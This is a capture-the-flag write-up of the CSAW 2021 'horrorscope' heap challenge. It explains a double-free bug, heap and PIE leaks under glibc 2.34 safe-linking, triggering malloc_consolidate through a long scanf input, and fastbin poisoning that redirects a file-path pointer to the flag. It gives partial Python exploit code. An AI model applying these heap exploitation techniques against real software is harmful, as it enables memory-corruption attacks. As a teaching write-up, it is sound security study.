CSAW CTF Finals 2021 - horrorscope

I worked on this challenge as an exercise after those from our team who participated in the CTF told me that it would be a nice journey through unusual glibc malloc internals. I found this heap exploitation challenge quite difficult because at first glance I had no idea how to solve it; it really took me some time to discover that in some cases glibc consolidates fastbin chunks. Even after that, I had a hard time figuring out how to use this to write the exploit – the final script was unnecessarily complex and performed two different consolidations. I’m going to explain a simpler and cleaner version that I put up while writing the writeup. I will give detailed explanations only of the functions and memory structures that are more relevant for the exploit.

Files: horrorscope, Dockerfile

Step 0: setup

The challenge uses a very recent glibc (2.34) and runs on Ubuntu 21.10. The provided Dockerfile used xinetd and configuration files were missing, so I replaced it with socat and launched the challenge with docker-compose.

Unfortunately even after installing libc6-dbg in the container, debug symbols weren’t loaded in GDB and I couldn’t use pwngdb heap commands. I got debugging symbols to work while cleaning up the exploit by copying the entire /usr/lib/debug directory from the container to the host and passing set debug-file-directory ... to GDB.

Step 1: looking for vulnerabilities

❯ pwn checksec ./horrorscope
[*] '/home/tito/csaw/horrorscope/horrorscope'
Arch:     amd64-64-little
Stack:    Canary found
NX:       NX enabled
PIE:      PIE enabled

❯ ./ld-linux-x86-64.so.2 --preload ./libc-2.34.so ./horrorscope

Welcome to the CSAW Oracle (v2.34)!!
We offer all manners of predicting your future and fate!
If you're lucky, that fate will include reading the ./flag.txt!!

 Option 0: Query horoscope sign birthdates
 Option 1: Ask the Magic 8 Ball a question
 Option 2: Open a fortune cookie
 Option 3: Read a saved 8 ball fortune
 Option 4: Read a saved cookie fortune
 Option 5: Delete a saved 8 ball fortune
 Option 6: Visit the Oracle
 Option 7: Get Lucky Number
 Option 8: Save Lucky Number
 Option 9: Exit

Ok, every protection is enabled. Let’s have a look at the different functions that the binary presents us at the menu.

Option 0: the function is called sign in the binary. It checks whether a global variable (globals) is NULL and allocates a buffer of size 0x10 with calloc if it is. Then it lets us write 16 bytes in the buffer pointed by the global variable.

Option 1: the function is called ask_8ball. It allocates with malloc a buffer of size 0x70 and asks the user for input. The input is not stored directly at the beginning of the allocated buffer but at buffer + 17 instead, because it gets prepended the string Oh Magic 8 Ball,. It then outputs some useless string (the fortune) depending on out input, and then asks us whether we want to save the fortune. If the answer is N, it frees the chunk; otherwise, it appends a struct to global array (called f) in .bss. The struct is constructed as follows:

struct magic_ball_fortune {
    char* user_string;
    char response[32];

user_string holds a pointer to the buffer that was dynamically allocated before, containing Oh Magic 8 Ball, followed by our input. We can store at most 10 8-ball fortunes (f is 400 bytes long) and read them later on with option 3.

Option 2: this is get_cookie and it’s where the main vulnerability lies, as we will see later. We can ask for a fortune cookie and this will be read from a file (./cookies.txt). A random line will be chosen from that file and will be placed in a 0x70-sized buffer allocated with calloc. A pointer to the resulting buffer is appended to some kind of singly-linked list stored at the symbol c, in .bss. The last quadword of the buffer then contains a pointer that points back to the linked list entry in .bss:

struct cookie_fortune { /* size = 0x70 */
    char fortune[0x68];
    linked_list_entry* my_entry;

Each entry in the global array c (as in cookies) is composed of two quadwords:

struct linked_list_entry { /* size = 0x10 */
    cookie_fortune* bck;
    cookie_fortune* this;

A memory dump is worth a thousand words:

pwndbg> x/20gx &c
#                    (bck)               (this)
0x55555555a0a0 c:    0x0000000000000000  0x000055555555b380 (cookie 0)
0x55555555a0b0 c+16: 0x000055555555b380  0x000055555555b400 (cookie 1)
0x55555555a0c0 c+32: 0x000055555555b400  0x000055555555b480 (cookie 2)
0x55555555a0d0 c+48: 0x000055555555b480  0x000055555555b500 (cookie 3)
0x55555555a0e0 c+64: 0x000055555555b500  0x000055555555b580 (cookie 4)
0x55555555a0f0 c+80: 0x0000000000000000  0x0000000000000000

pwndbg> x/20gx 0x000055555555b380
0x55555555b380: 0x0000000000003232  0x0000000000000000  ⎤
0x55555555b390: 0x0000000000000000  0x0000000000000000  ⎥
0x55555555b3a0: 0x0000000000000000  0x0000000000000000  ⎥ buffer
0x55555555b3b0: 0x0000000000000000  0x0000000000000000  ⎥
0x55555555b3c0: 0x0000000000000000  0x0000000000000000  ⎥
0x55555555b3d0: 0x0000000000000000  0x0000000000000000  ⎦
0x55555555b3e0: 0x0000000000000000  0x000055555555a0a0
                                    ┗━━→ points back to the entry in c

Actually, this is not a linked list, it’s just some kind of contiguous and uselessly redundant array of pointers to buffers. Well, someone told me my problem is that I think in Haskell even when I shouldn’t :)

We can store at most 33 cookies in c, and if we ask for a fortune cookie when the list is full, delete_cookie is called. This function is quite hard to read, mainly because there are some instructions that reference the address c+8 directly and this confuses IDA. We can choose which cookie we want to free and then the functions performs some integrity checks on the linked list. Assuming idx (in the range 0..32) is the cookie to delete, it basically checks the invariants c[idx].this->my_entry == &c[idx], c[idx+1].bck == c[idx].this, c[idx].bck == c[idx-1].this, c[idx].bck != c[idx].this.

Then, delete_cookie free()s the cookie_fortune at c[idx].this and then shifts all the entries in the range (idx+1)..32 backwards by 1 in c. It does so with an complex while loop with some special cases for cookie 0 and cookie 32. However, it has a serious flaw: it does not overwrite c[idx].this! This is the main vulnerability that will allow us to have a double free.

Let me explain in more detail. Consider the memory dump above, and suppose we went on filling the list until the end. After delete_cookie() has deleted cookie 4, for example, c will contain:

pwndbg> x/20gx &c
0x55555555a0a0 c:    0x0000000000000000  0x000055555555b380 (cookie 0)
0x55555555a0b0 c+16: 0x000055555555b380  0x000055555555b400 (cookie 1)
0x55555555a0c0 c+32: 0x000055555555b400  0x000055555555b480 ...
0x55555555a0d0 c+48: 0x000055555555b480  0x000055555555b500
0x55555555a0e0 c+64: 0x000055555555b500  0x000055555555b580 | !!!
0x55555555a0f0 c+80: 0x000055555555b600  0x000055555555b680
0x55555555a100 c+96: 0x000055555555b680  0x000055555555b700

As you can see, delete_cookie shifted cookies in the range 5..32 back by 1 position, but it did not update c[4].this and it is still pointing at the freed buffer!

Note that delete_cookie is corrupting its own list, but it also performs integrity checks as I explained above: this means that if we free cookie 1, we won’t be able to free cookies 1 or 2 in a later stage, because corruption will be detected. Cookie 32 (the last one) is an exception, because there is no cookie 33 to check the invariant c[idx].this == c[idx+1].bck!

Option 3: Ok, the hardest part of the analysis is done. print_8ball_fortune allows the user to read one of the 8-ball fortunes that was saved before with option 2. It gets the buffer address from f and prints both the user input and the magic ball response.

Option 4: print_cookie_fortune prints the content of one of the cookies stored in c chosen by the user. It prints the buffer stored at c[idx].thisthat’s why c is not a doubly linked list: we’re not traversing the links but merely getting an address from an array of pointers.

Option 5: this function (delete_8ball_fortune) can be used to free the last 8-ball fortune that has been saved with option 2. We cannot choose which of the fortunes stored in f to delete – we can only delete the one at the end.

Option 6: this function prints a random line from another file (./oracle.txt). It allocates a very big chunk with malloc (size 0x390) to read the file contents. We will use this function in the final stage of the exploit.

Option 7: get_lucky_num, similarly to sign, uses a global variable to store a pointer to a buffer (the symbol is called buf). If it is NULL, it allocates a buffer of size 0x10 with calloc and asks the user for his name that will be stored there. It then outputs some useless value. If called another time, it won’t ask for input again, because buf still holds the pointer to the user’s previous input and is not NULL anymore.

Option 8: store_lucky_num unintuitively does not share any global state with get_lucky_num. The generated pseudocode is very easy to read: it uses a global variable (ptr) to store a pointer to the user’s “lucky number”, a buffer of size 8 allocated with calloc. We can delete our lucky number (free() the buffer), create it again (calloc()) and update it (change the contents of the buffer pointed by ptr) how many times we want.

Step 2: planning the exploit

This really took some time and commitment! We only have malloc()s, calloc()s and free()s of fixed sizes. We can perform a double free on cookie 32 because it is the only case delete_cookie won’t corrupt the list. However, we have no way to edit the forward pointer in the chunk before we free it again, because option 1 (ask_8ball) writes Oh Magic 8 Ball, (17 bytes) in the buffer right before our input, and other functions don’t allocate chunks of the same size as get_cookie.

I spent a few hours looking at the pseudocode without any idea. I thought that if I could consolidate the fastbin chunks maybe I could find a way to corrupt the chunk pointers; however, someone taught me that fastbins get never consolidated… But while reading the glibc sources in total despair, I discovered that there is a specific function inside malloc.c that does exactly this: malloc_consolidate. call malloc_consolidate(&main_arena) in GDB did exactly what I expected.

I had to find a way to trigger the call to malloc_consolidate() – it occurs quite rarely in the ptmalloc allocator. It turned out that the easiest way to do that is to issue a largebin-sized allocation request to malloc(): see malloc/malloc.c:3852 in glibc 2.34.

However we have no control over the size of the chunks allocated by the application and the largest one is smallbin-sized (malloc(0x390) in oracle). How can we malloc() more than 0x400?

Well, this is the trick that I came up with: some internal libc functions use malloc and free internally, and scanf is one of them. And… the application is reading the user’s choices at the menu using scanf()! So sending a very large payload at the menu could trigger malloc_consolidate(). I was right: sending 1024 '5's successfully consolidated the fastbins.

Step 3: implementing the exploit

The main idea is the following: we will allocate a cookie with create_cookie(), free it and then consolidate it with the top chunk. Then we will allocate a buffer of size 0x10 with store_lucky_num() right on the top chunk and it will end up exactly where the buffer of the just freed cookie_fortune was. We will free this buffer with delete_cookie() because of the bug explained above; we will still be able to edit its contents with store_lucky_num() and we will use that corrupt the fastbin forward pointer.

We will use fastbin corruption to overwrite an address stored at .data + 0x30 that points to the string "./oracle.txt". This address is passed as a parameter to open() in oracle (option 6). I mean, why would you want to put a pointer to a static string in a R/W memory segment? It’s surely meant to be pwned! We will overwrite this pointer with the address of "./flag.txt". Choosing option 6 will print a random line from ./flag.txt!

I will comment the exploit step by step (omitting utility functions for brevity).

Firstly we fill the tcache for chunks of size 0x20, because the only chunk we will free of size 0x20 will be the lucky number created on the top chunk, and we want it to end up in fastbins. To fill the tcache we repeatedly create and delete 0x20-sized chunks with calloc() because it does not use the tcache and each call to free() will add one chunk on the tcachebin.

for i in range(7): # tcachebins contain at most 7 chunks
    # Will call store_lucky_num(), the content is not important

Then, we want to fill the cookie fortune linked list (c) because we can only free cookie fortunes when the list is full (33 elements).

for i in range(33):

Now we will fill the tcachebin for size 0x80 in the exact same way as above: create_cookie() uses calloc() internally. Note that we can’t just free cookies 0, 1, 2, … because list corruption will be detected, so we free cookies 1, 3, 5, …

for i in range(7):
    delete_cookie(2*i + 1)

We will get a leak of the heap base address by reading inside the first free()d cookie fortune, which is the last one in the appropriate tcachebin. We will abuse the ‘safe linking’ pointer masking machenism introduces in glibc 2.32. Its forward pointer is NULL. With safe linking, this is stored as NULL ^ (cookie_addr >> 12) = cookie_addr >> 12: reading the cookie yields the base address of the memory page where this chunk resides.

cookie_addr - 0x10 ┃ ...                       ┃ size | prev_inuse:   0x81 ┃
cookie_addr        ┃ fwd ^ (cookie_addr >> 12) ┃ ...                       ┃
cookie_addr + 0x10 ┃ ...                                                   ┃
def read_heap_leak(idx):
    r.recvuntil(b'Please enter a fortune index\n > ')
    r.recvuntil(b' ')
    s = r.recv(5) + b'\x00\x00\x00'
    return u64(s) * 4096
heap_base = read_heap_leak(1)

We also need a leak of the program load address, because it is PIE and we will need this leak to know where .data is in memory. Remember that each struct cookie_fortune contains a pointer to its own entry in c: free()d cookie fortune buffers still contain it. We will allocate a 0x70-sized buffer with ask_8ball where there was a cookie_fortune and we will fill the chunk until offset 0x68. When printing it, we will receive 0x68 bytes (our input) followed by the address of an entry in c.

# Will pick up first available chunk in the tcachebin, i.e. cookie 13
create_ball(b'A' * (0x68 - 17 - 1))
section_data_address = read_binary_leak(13) - 0x170

Now we will allocate a cookie_fortune from the top chunk, free it and immediately consolidate that with the top chunk with the scanf() trick explained above.

delete_cookie(15) # Fills up the tcache again
create_cookie()   # Ends up in the top chunk
delete_cookie(32) # Ends up in fastbins
r.sendline(b'5' * 0x400)

We empty the tcachebin for size 0x80 because we will need to allocate 8-ball user input buffers from the top chunk. The first buffer allocated now from the tcache will be at offset 0xe80 from the heap base.

for i in range(7):
# +17 because "Oh Magic 8 Ball, " prepended to our input
flag_txt = heap_base + 0xe80 + 17

We finally allocate our 0x10 user input buffer with store_lucky_num() where c[32].this is still pointing. The 8-ball buffer allocated right after that is used to fix c[32].this->my_entry: otherwise delete_cookie will detect corruption. c[32].this->my_entry should point at &c[32], i.e. c + 32 * 0x10, i.e. section_data_address + 0xA0 + 32 * 0x10.

create_lucky_number() # Ends up at c[32].this
    0x68 - 0x20 - 17: p64(section_data_address + 0xA0 + 32 * 0x10)

Now we free cookie 32 and corrupt its forward pointer. We want the next chunk to start at .data + 0x30, where the pointer to "./oracle.txt" is stored. Therefore, accounting for chunk metadata, the fastbin forward pointer must point at .data + 0x20. We have to apply the safe linking mask. We are lucky enough not to have any alignment issues with this address, because .data + 0x28 contains the quadword 0x21 that matches exactly the size of our chunks.

protect_mask = (heap_base >> 12) + 1
update_lucky_number(p64(protect_mask ^ (section_data_address + 0x20)))

We still have to consume one fastbin still with get_lucky_num and then we will overwrite the target pointer without messing up the next quadword.

sign(p64(flag_txt) + b'\x0b')

Now if you choose option 6 for a few times at the menu you will read a random line from ./flag.txt!

Many thanks to Gabriele Digregorio who wrote the exploit with me and to Lorenzo Binosi (whose unmatched heap exploitation lessons missed malloc_consolidate)!